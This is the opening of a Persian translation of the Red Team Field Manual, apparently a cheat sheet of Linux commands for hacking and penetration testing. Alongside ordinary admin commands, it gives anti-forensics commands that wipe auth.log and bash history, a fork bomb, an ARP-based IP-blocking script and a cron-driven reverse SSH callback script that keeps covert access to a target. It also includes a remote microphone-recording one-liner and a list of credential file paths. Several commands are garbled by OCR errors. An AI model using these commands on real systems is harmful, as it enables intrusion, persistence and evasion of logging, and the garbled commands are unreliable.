راهنمای سریع

RTFM

فرمان‌ها و دستورهای Red Team برای هک و امنیت در ویندوز و لینوکس

(Red Team Field Manual)

Cheet Sheet

بن کلارک

برگردان: مهندس محسن مصطفی جوکار

انتشارات پندار پارس

سرشناسه	:	کلارک، بن Clarke, Ben
عنوان و نام پدیدآور	:	راهنمای سریع RTFM : فرمانها و دستورهای Red Team برای هک و امنیت در ویندوز و لینوکس/[بن کلارک] ؛ [مترجم] محسن مصطفی‌جوکار.
مشخصات نشر	:	تهران : پندار پارس ، ۱۳۹۵.
مشخصات ظاهری	:	۱۵۴ ص.
شابک	:	978-600-8201-16-8؛ ۱۵۰۰۰۰ریال
وضعیت فهرست نویسی	:	فیپا
یادداشت	:	عنوان اصلی:.RTFM:Red Team Field Manual
موضوع	:	آزمایش نفوذ (ایمن‌سازی کامپیوتر)
موضوع	:	Penetration testing (Computer security)
موضوع	:	کامپیوترها -- ایمنی اطلاعات -- نرم‌افزار، Computer networks -- Security measures -- Software
موضوع	:	شبکه‌های کامپیوتری -- تدابیر ایمنی -- نرم‌افزار، Computer security -- Software
موضوع	:	کامپیوترها -- ایمنی اطلاعات، Computer security
موضوع	:	هکرها. Hackers
شناسه افزوده	:	مصطفی جوکار، محسن، مترجم
رده بندی کنگره	:	QA۷۶/۹ ۱۳۹۵ ۸ک۹ک/
رده بندی دیویی	:	۸/۰۰۵
شماره کتابشناسی ملی	:	۴۳۴۷۹۰۳

انتشارات پندارپارس @pendarepars

دفتر فروش: انقلاب، ابتدای کارگرجنوبی، کوی رشتچی، شماره ۱۴، واحد ۱۶ **www.pendarepars.com**

تلفن: ۶۶۵۷۲۳۳۵ - تلفکس: ۶۶۹۲۶۵۷۸ همراه: ۰۹۲۱۴۳۷۱۹۶۴ **info@pendarepars.com**

نام کتاب	:	**راهنمای سریع RTFM، فرمان‌ها و دستورهای Red Team برای هک و امنیت در ویندوز و لینوکس**
ناشر	:	**انتشارات پندار پارس**
تالیف	:	**بن کلارک**
برگردان	:	**محسن مصطفی جوکار**
چاپ نخست	:	**شهریور ۹۵**
شمارگان	:	**۵۰۰ نسخه**
چاپ، صحافی	:	**روز**
قیمت	:	**۱۵۰۰۰ تومان**

شابک : ۸-۱۶-۸۲۰۱-۶۰۰-۹۷۸

فهرست

پیش‌گفتار

Red Team یک گروه مستقل است که سازمان‌ها را برای بهبود وضعیت امنیتی، به چالش می‌کشد. جامعه اطلاعاتی ایالات متحده (نظامی و غیرنظامی)، رد تیم‌هایی دارد که جایگزین‌های آینده را بررسی می‌کنند و مقالاتی را در مورد اینکه اگر آنها رهبران جهان خارجی بودند چه می‌کردند، می‌نویسند. کسب و کارهای خصوصی، به ویژه آنهایی که به عنوان پیمانکاران دولت/پیمانکاران دفاعی سرمایه‌گذاری‌هایی را انجام می‌دهند مانند IBM، SAIC و سازمان‌های دولتی ایالات متحده مانند CIA، مدت مدیدی است که از رد تیم‌ها استفاده می‌کنند.

اغلب کارکنان، از افرادی که تست نفوذ انجام می‌دهند و امنیت سازمان‌ها را ارزیابی می‌کنند، اطلاعی ندارند. این نوع از رد تیم‌ها یک تصویر واقعی‌تر از آمادگی امنیتی سازمان، نسبت به دیگر تمرین‌های امنیتی که انجام آن را اعلام می‌کنند ارائه می‌دهند.

هنگامی که از واژه‌ی رد تیم در دنیای هک استفاده می‌شود، منظور گروهی از هکرهای کلاه سفید است که به منظور تست قابلیت‌های دفاعی یک سازمان، به زیرساخت‌های دیجیتالی آن به عنوان مهاجم حمله می‌کنند (به‌عنوان "تست نفوذ" نیز شناخته می‌شود). به دیگر سخن، رد تیم یک فرایند است که برای شناسایی شبکه و آسیب‌پذیری‌های سیستم و تست امنیت، با در نظر گرفتن رویکرد یک مهاجم برای سیستم/شبکه/دسترسی به داده، طراحی شده است. از آنجا که هدف نهایی رد تیم، افزایش امنیت است، این فرایند "هک اخلاقی" نیز نامیده می‌شود.

در این کتاب تلاش شده است فرمان‌هایی که برای تبدیل شدن به یک هکر نیاز دارید آورده شود. این کتاب محدود به سیستم‌های عامل ویندوز یا لینوکس نیست بلکه نگاهی مختصر هم به سیستم‌های یونیکس مانند سولاریس می‌اندازد. این کتاب از گفتن اطلاعات اضافی مانند تاریخچه، خودداری می‌کند و بی‌درنگ وارد دستورهای کاربردی می‌شود. در این کتاب تنها دستورات کاربردی را می‌بینید و هر آن چیزی که برای تبدیل شدن به یک عضو Red Team نیاز دارید وجود دارد. با همراه داشتن این کتاب دیگر نیازی ندارید دستورات و پارامترهای مربوط به هر دستور را حفظ کنید و خواهید دید که همانند یک کتاب دستی، همیشه همراه‌تان خواهد بود. تنها دستورات مخرب پوشش داده نشده‌اند و نگاهی مختصر نیز به دستورات شبکه و پروتکل‌ها انداخته شده است.

محسن کجباف

شهریور ۹۵

*NIX

دستورهای مربوط به شبکه لینوکس

توضیح	دستور
ارتباطات شبکه	watch ss -tp
ارتباطات TCP و anu=udp–	netstat -ant
ارتباطات همراه با PIDها	netstat -tulpn
ارتباطات ایجاد شده	lsof -i
دسترسی به پنجره‌ی به‌اشتراک‌گذاری SMB	smb://ip /share
نصب اشتراک ویندوز	share user x.x.x.x c$
متصل شدن به SMB	smbclient -U user \\\\ ip \\ share
تنظیم IP و netmask	ifconfig eth# ip / cidr
تنظیم رابط مجازی	ifconfig eth0:l ip / cidr
تنظیم GW(دروازه)	route add default gw gw_ip
تغییر اندازه MTU	ifconfig eth# mtu [size]
تغییر آدرس MAC	export MAC=XX: XX: XX: XX: XX: XX
تغییر آدرس MAC	ifconfig int hw ether MAC
ردیابی کردن تغییر آدرس MAC	macchanger -m MAC int
پویشگر داخلی wifi	iwlist int scan
جستجوی دامنه برای IP	dig -x ip
جستجوی دامنه برای IP	host ip
جستجوی SRV دامنه	host -t SRV _ service _tcp.url.com
ناحیه Xfer دی ان اس	dig @ ip domain -t AXrR
ناحیه Xfer دی ان اس	host -1 domain namesvr
چاپ کلیدهای موجود مربوط به VPN	ip xfrm state list

توضیح	دستور
اضافه کردن رابط "مخفی"	ip addr add ip / cidr dev eth0
لیست کردن DHCP واگذار شده	/var/log/messages | grep DHCP
مسدود کردن IP:Port	tcpkill host ip and port port
فعال کردن انتقال IP	echo "1" /proc/sys/net/ipv4/ip_forward
اضافه کردن یک سرور DNS	echo ''nameserver x.x.x.x'' /etc/resolv.conf

اطلاعات مربوط به سیستم لینوکس

توضیح	دستور
گرفتن نام میزبان برای آدرس IP	nbtstat -A ip
نام کاربری کنونی	id
کاربران وارد شده به سیستم	w
اطلاعات مربوط به کاربر	who -a
آخرین کاربری که به سیستم وارد شده است	last -a
لیست کردن فرایندها (بالا)	ps -ef
مقدار فضای اشغال شده (آزاد)	df -h
نسخه هسته/اطلاعات مربوط به CPU	uname -a
سیستم فایل‌های نصب شده	mount
نمایش لیست کاربران	getent passwd
اضافه کردن به متغیر PATH	PATH=$PATH:/home/mypath
متوقف کردن فرایند با Pid	kill pid
نمایش اطلاعات مربوط به سیستم عامل	cat /etc/issue
نمایش اطلاعات مربوط به نسخه سیستم عامل	cat /etc/'release'

دستور	توضیح
cat /proc/version	نمایش اطلاعات مربوط به هسته
rpm --query -all	بسته های نصب شده (برای Redhat)
rpm -ivh *.rpm	نصب بسته از نوع RPM (برای حذف کردن e-)
dpkg -get-selections	بسته های نصب شده (Ubuntu)
dpkg -l *.deb	نصب بسته از نوع DEB (برای حذف کردن r-)
pkginfo	بسته های نصب شده (Solaris)
which tscsh/csh/ksh/bash chmod 50 tcsh/csh/ksh	نمایش محل فایل اجرایی غیرفعال کردن پوسته، با اجبار برای Bash

دستورهای سودمند لینوکس

دستور	توضیح
wget http:// url -O url.txt -o /dev/null	گرفتن آدرس
rdesktop ip	دستکتاپ از راه دور برای IP
scp /tmp/file user@x.x.x.x:/tmp/file	قرار دادن فایل
scp user@ remoteip :/tmp/file /tmp/file	دریافت فایل
useradd -m user	اضافه کردن کاربر
passwd user	تغییر گذرواژه‌ی کاربر
rmuser unarne	حذف کاربر
script -a outfile	ضبط کردن پوسته : Ctrl-D برای متوقف کردن
apropos subject	پیدا کردن دستور مرتبط
history	مشاهده تاریخچه مربوط به دستورهای کاربران
! num	اجرای خط # در تاریخچه

دستورهای مربوط به فایل در لینوکس

توضیح	دستور
مقایسه فایل‌ها	diff file1 file2
حذف کردن یک دایرکتوری به اجبار	rm -rf dir
بازنویسی/پاک کردن یک فایل	shred -f -u file
منطبق کردن زمان ref_ file	touch -r ref_file file
تنظیم زمان فایل	touch -t YYYYMMDDHHSS file
لیست کردن دیسک های متصل	sudo fdisk -1
نصب یک USB	mount /dev/sda# /mnt/usbkey
محاسبه کردن رشته هش (Hash) md5 یک فایل	md5sum -t file
تولید هش (Hash) md5	echo -n “str” | md5sum
رشته هش(Hash) از نوع SHA1 برای فایل	shalsum file
مرتب کردن/نمایش خطوط منحصربه فرد	sort -u
تعداد خطوط "str"	grep -c ''str'' file
ساخت tar. از فایل‌ها	tar cf file.tar files
استخراج tar.	tar xf file.tar
ساخت tar.gz. از فایل‌ها	tar czf file.tar.gz files
استخراج tar.gz.	tar xzf file.tar.gz
ساخت tar.bz2. از فایل‌ها	tar cjf file.tar.bz2 files
استخراج tar.bz2. از فایل‌ها	tar xjf file.tar.bz2
فشرده سازی/تغییرنام فایل	gzip file

توضیح	دستور
از حالت فشرده خارج کردن فایل با پسوند gz.	gzip -d file.gz
بسته بندی UPX فایل orig.exe	upx -9 -o out.exe orig.exe
ساخت یک فایل zip	zip -r zipname.zip \Directory\
برش بلوک 1K-3K از فایل	dd skip=l000 count=2000 bs=8 if=file of=file
تقسیم فایل به قطعات 9K	split -b 9K \ file prefix
فایل از نوع txt سازگار با ویندوز	awk 'sub("$"."\r")' unix.txt win.txt
پیدا کردن فایل‌های PDF	find -iname file -type .pdf
جست‌وجو برای setuid فایل‌ها	find / -perm -4000 -o -perm -2000 -exec ls -ldb {} \;
تبدیل به قالب *nix	dos2unix file
مشخص کردن نوع/اطلاعات فایل	file file
تنظیم/لغو تنظیم بیت تغییرناپذیر	chattr (+/-)i file

دیگر دستورهای لینوکس

توضیح	دستور
غیرفعال کردن تاریخ ورود به سیستم	unset HISTFILE
ضبط کردن میکروفون از راه دور	ssh user@ip arecord - | aplay -
کامپایل کردن C,C++	gcc -o outfile myfile.c
راه اندازی دوباره (0=خاموش کردن)	init 6
لیست کردن فایل‌های Log	cat /etc/syslog.conf | grep -v '' #''
حذف لینک ها در url.com	grep 'href=' file | cut -d"/" -f3 | grep url | sort -u
ساخت یک فایل به صورت تصادفی با اندازه 3 مگابایت	dd if=/dev/urandom of=file bs=3145728 count=100

دستورهای لینوکس برای "پنهان کردن ردپای شما"

توضیح	دستور
پاک کردن فایل auth.log	echo "" /var/log/auth.log
پاک کردن تاریخچه کنونی کاربر در Bash	echo "" ~/.bash history
پاک کردن فایل bash_history.	rm ~/.bash histor/ -rf
پاک کردن تاریخچه جلسه کنونی	history -c
تنظیم بیشینه خطوط مربوط به تاریخچه به 0 تنظیم بیشینه دستورهای تاریخچه به 0	export HISTFILESIZE=0 export HISTSIZE=0
غیرفعال کردن تاریخچه ورود به سیستم (به منظور تأثیر گذاشتن نیاز به خروج از سیستم دارد)	unset HISTFILE
خاتمه دادن به جلسه کنونی	kill -9 $$
فرستادن تمام تاریخچه مربوط به دستورهای Bash به /dev/null	ln /dev/null ~/.bash_historj -sf

ساختار سیستم فایل لینوکس

توضیح	محل
فایل‌های باینری کاربر	/bin
فایل‌های مرتبط با بوت شدن	/boot
رابطی برای دستگاه‌های سیستم	/dev
فایل‌های پیکربندی سیستم	/etc
دایرکتوری اساسی برای فایل‌های کاربر	/home
کتابخانه‌های حیاتی نرم افزار	/lib
نرم افزارهای جانبی	/opt

توضیح	محل
برنامه‌های سیستمی و در حال اجرا	/proc
دایرکتوری Home برای کاربر root	/root
فایل‌های باینری مربوط به مدیر سیستم	/sbin
فایل‌های موقتی	/tmp
فایل‌ها با حساسیت کمتر	/usr
فایل‌های متغیر سیستم	/var

فایل‌های لینوکس

توضیح	نام فایل
کاربران محلی که به صورت هش شده هستند.	/etc/shadow
کاربران محلی	/etc/passwd
گروه‌های محلی	/etc/group
سرویس‌هایی که در هنگام راه اندازی شروع به کار می‌کنند.	/etc/rc.d
سرویس‌ها	/etc/init.d
IPها و نام میزبان شناخته شده	/etc/hosts
نام کامل میزبان با دامنه	/etc/HOSTNAME
پیکربندی شبکه	/etc/network/interfaces
متغیرهای محیطی سیستم	/etc/profile
لیست منابع Ubuntu	/etc/apt/sources.list
پیکربندی سرورنام	/etc/resolv.conf

توضیح	نام فایل
تاریخچه مربوط به Bash (همچنین /root/)	/home/user/.bash_history
جست‌وجوی فروشنده یا تولید کننده آدرس MAC	/usr/share/wireshark/manuf
کلیدهای ذخیره شده SSH	~/.ssh/
فایل‌های مربوط به ثبت و ضبط ورود به سیستم (بیشتر در لینوکس)	/var/log
فایل‌های مربوط به ثبت و ضبط ورود به سیستم (یونیکس)	/var/adm
لیست کردن فایل‌های cron	/var/spool/cron
گزارش مربوط به اتصال به آپاچی	/var/log/apache/access.log
اطلاعات سیستم فایل ایستا	/etc/fstab

اسکریپت نویسی در لینوکس

PING SWEEP

```
for x in {1 .. 254 .. 1};do ping -c 1 1.1.1.$x | grep "64 b" | cut -d " " -f4 ips.txt; done
```

اسکریپت Bash برای خودکار سازی حل و فصل نام دامنه

```
#!/bin/bash
echo "Enter Class C Range: i.e. 192.168.3"
read range
for ip in {1 .. 254 .. 1};do
host $range.$ip | grep “name pointer” | cut -d “ “ -f5
done
```

بمب Fork (ایجاد فرایندها تا وقتی که سیستم "سقوط" کند)

```
: (){:|: & };:
```

جست‌وجوی معکوس DNS

```
for ip in {1 .. 254 .. 1}; do dig -x 1.1.1.$ip | grep $ip dns.txt; done;
```

اسکریپت مسدود کردن IP

```
#!/bin/sh
# This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2
# It assumes 1 is the router and does not ban IPs .20, .21, .22
i=2
while
While [$i -le 253 ]
do
```

```
        if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then
             echo "BANNED: arp -s 192.168.1.$i"
              arp -s 192.168.1.$i 00:00:00:00:00:0a
        else
              echo “IP NOT BANNED: 192.168.1.$i******************************”
              echo “*********************************************************”
        fi
        i= 'expr $i +1'
done
```

برگشت SSH

راه‌اندازی یک اسکریپت در crontab به منظور پاسخ به تماس در هر X دقیقه. به شدت توصیه می‌شود که بر روی کامپیوتر red team یک کاربر عمومی را تعریف کنید (بدون امتیاز دسترسی به پوسته). اسکریپت از یک کلید خصوصی (واقع در کامپیوتر منبع) برای متصل شدن به یک کلید سراسری (بر روی کامپیوتر red team) استفاده خواهد کرد. Red team از طریق یک جلسه محلی SSH به هدف متصل می‌شود (در مثال زیر، از #ssh -p4040 localhost استفاده کنید).

```
#!/bin/sh
# Callback script located on callback source computer (target).
killall ssh /dev/null 2 &1
sleep 5
REMLIS=4040
REMUSR=user
HOSTS=''domainl.com domain2.com domain3.com''
for LIVEHOST in $HOSTS;
do
            COUNT=$(ping -c2 $LIVEHOST | grep 'received' | awk -F ','   ' { print $2 } ' |
awk ' { print $1 } ')
                if [ [ $COUNT -gt 0 ] ] ; then
                      ssh -R ${REMLIS}:localhost:22 -i
"/home/${REMUSR}/.ssh/id_rsa" -N ${LIVEHOST} -1 ${REMUSR}
fi
```